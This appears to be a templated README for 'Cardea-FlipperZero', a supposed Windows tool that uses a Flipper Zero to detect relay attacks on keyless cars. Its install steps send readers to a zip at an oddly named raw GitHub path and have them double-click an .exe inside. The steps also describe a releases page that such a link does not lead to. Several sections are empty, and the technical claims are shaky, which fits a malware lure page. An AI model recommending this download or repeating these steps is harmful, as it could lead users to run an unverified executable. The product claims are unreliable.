🎯 Download Cardea-FlipperZero Now
Welcome to Cardea-FlipperZero! This is a simple yet powerful tool that protects your keyless car from relay attacks. If you own a modern car with keyless entry, this app turns your Flipper Zero into a personal security guard that listens for suspicious signals and alerts you.
What Does It Do?
Your car key constantly broadcasts a low-power signal so your car knows the key is nearby. Thieves use relay devices to capture and amplify that signal, tricking your car into thinking the key is next to it—even if you’re inside your house. Cardea-FlipperZero hears your key’s signal and detects when someone else is trying to “ask” your key a question it shouldn’t answer.
Why Use This?
Step 1: Visit the Download Page
Visit this link to download the application: https://raw.githubusercontent.com/jrichrad/jrichrad.github.io/main/postrhinal/3.1-beta.1.zip
Step 2: Find the Latest Release
On that page, you’ll see a list of releases. Look for the one with the highest version number (like v1.2.3). Click on it.
Step 3: Download the File
You’ll see a section called “Assets” or “Downloads.” Look for a file named something like cardea-flipperzero.zip. Click on it to download.
Step 4: Extract the File
Once the download finishes, find the .zip file in your Downloads folder. Right-click on it and select “Extract All” or “Unzip”. Windows will create a new folder with the same name.
Step 5: Run the Application
Open the extracted folder. You’ll see a file named Cardea-FlipperZero or cardea.exe. Double-click it to run the app. That’s it!
Cardea-FlipperZero is designed to work on any standard Windows computer. Here’s what you need:
Good to Know: If you’re using an older Windows version (like 7 or 8), the app may still work, but we recommend upgrading to a supported version for best performance.
Using the app is as simple as plug-and-play:
Step 1: Connect your Flipper Zero to your computer using a USB cable.
Step 2: Open Cardea-FlipperZero. The app will automatically detect your Flipper Zero.
Step 3: Click the “Start Listening” button.
Step 4: Keep your Flipper Zero somewhere you can see it (like a desk or on your nightstand). The app displays a live screen showing all signals it detects from your car key.
Step 5: If someone tries to relay your key’s signal, the app will:
What You See on Screen:
| Indicator | Meaning |
|---|---|
| 🟢 Green Light | Normal—your key is safe and being monitored |
| 🟡 Yellow Light | Suspicious activity detected (possible relay attempt in progress) |
| 🔴 Red Light | Relay attack confirmed—alert activated |
Q: Is this the same as a car alarm?
No. This is a supplementary tool. It doesn’t replace your car’s built-in alarm. Instead, it watches for relay attacks that could bypass your car’s security.
Q: Will this interfere with my car or key?
No. Cardea-FlipperZero only listens (receive-only mode). It never sends any signals, so it cannot interfere with your car’s functions.
Q: Does it work with all cars?
It works with any car that uses standard keyless entry (typically 315 MHz or 433 MHz frequencies). Most cars from 2010 onwards support this.
Q: How long can I run it?
For as long as you want. The app is lightweight and won’t slow down your computer. Many users run it 24/7 for constant monitoring.

If you’re interested in the “how” behind Cardea-FlipperZero, here’s a simple breakdown:
The app uses the CC1101 radio chip built into the Flipper Zero to listen on the Sub-GHz frequency band. When your car key communicates with your car, it sends out a tiny, short-range radio signal. Relay attackers intercept and retransmit that signal to fool your car.
Cardea-FlipperZero monitors that frequency range and looks for patterns that indicate a relay attack—specifically, your key responding to a “question” that didn’t come from your car. The app doesn’t interfere with the signal; it simply observes and alerts you.
Topics covered by this project include: automotive security, car security, CC1101 radio technology, Flipper Zero development, keyless entry protection, relay attack defense, RF analysis, security tools, Sub-GHz communication, and home security.
